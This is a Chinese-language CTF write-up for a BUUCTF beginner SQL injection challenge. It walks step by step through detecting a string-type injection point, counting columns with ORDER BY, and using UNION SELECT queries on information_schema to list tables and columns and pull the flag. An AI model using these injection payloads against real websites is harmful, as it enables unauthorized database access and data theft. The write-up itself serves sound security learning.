BUUCTF [第一章 web入门]SQL注入-1

博客内容涉及了SQL注入攻击的识别和利用,通过字符型注入点验证,确定了存在注入漏洞。接着通过测试判断字段数量为三位,并利用联合查询获取了数据库名为'note'。进一步探测到表格'fl4g'和'notes',最终在'fl4g'表中找到关键信息,揭示了可能存在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目

先找注入点,看一url

 发现了 ?id=1 测试一下是字符型注入还是数字型注入

分别对url进行如下修改,发现页面没有变化,证明不是数字型注入

id=1 and 1 = 1--+
id=1 and 1 = 2--+

分别对url进行如下修改

id=1' and 1 = 1--+
id=1' and 1 = 2--+

在更改url为第二个的时候,发现页面出现错误,证明存在字符型注入点

 判断字符段的数量

id=1' order by 3 --+
id=1' order by 4 --+

输入id=1' order by 3 --+产生的回显

 输入id=1' order by 4 --+ 未产生的回显

证明字段数为三位

用联合查询查一下数据库名

?id=-1' union select 1,database(),3 --+

 

数据库名就为note

查表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
或者
?id=4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 看看这些表里都有什么

fl4g表

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

 notes表

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

 大概率flag在fl4g表里,看看表里有什么

?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

flag出现了

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值